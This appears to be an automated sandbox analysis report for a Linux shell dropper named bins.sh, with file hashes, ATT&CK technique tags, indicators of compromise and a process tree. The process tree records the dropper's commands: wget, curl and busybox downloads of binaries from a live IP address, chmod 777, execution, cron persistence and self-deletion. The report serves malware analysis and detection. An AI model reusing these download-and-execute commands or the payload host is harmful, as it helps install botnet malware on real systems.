43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

Analysis

max time kernel
124s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-12-2024 00:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

616244bb402bee04b6b45f703b80d324
SHA1

eaddf7ee69008a10c656aba8958a6cecd0ba4f19
SHA256

43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb
SHA512

b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4
SSDEEP

96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1601) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
739	chmod

Executes dropped EXE 1 IoCs

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

ioc	pid	Process
/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	740	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Renames itself 1 IoCs

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

pid	Process
741	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.n8RquO	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70curlcrontab

description	ioc	Process
File opened for reading	/proc/77/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/751/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/757/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/795/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/826/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/860/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/920/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/965/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1009/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/15/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/75/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/788/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/980/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1008/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/872/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/949/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/978/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/981/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/999/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/851/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/873/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/964/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/970/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/900/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/19/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/73/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/150/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/399/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/745/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/768/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/794/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/829/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/859/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/684/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/789/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/835/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/899/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/907/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1005/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/830/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/115/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/320/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/477/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/510/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/514/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/705/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/831/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/982/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/772/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/782/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/807/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/892/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1016/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/18/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/322/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/375/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/792/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1023/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/387/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/961/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/7/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/767/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	wget
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	curl
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:740
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:742
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:743
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:748
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:749
- /bin/rm
  rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  PID:747
- /usr/bin/wget
  wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  PID:839

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.n8RquO

Filesize
210B

MD5
dcb50a2d54adfabb396ceace37157f08

SHA1
efd13226e80511adb239ab33ab8c6b2d682aaaa7

SHA256
7bf6ec078c9c7b4ad5ab26741051adac4a1a400e90dccd07d0a0c805b4624194

SHA512
1e4783812e85aa84354c3924b6db8380020b9b238559570d848cf98c1178df9457fdaaf2ced66fb1aac375b851c082b2ac261a9fb125942ae678c9cdc6b73dce

Download Submit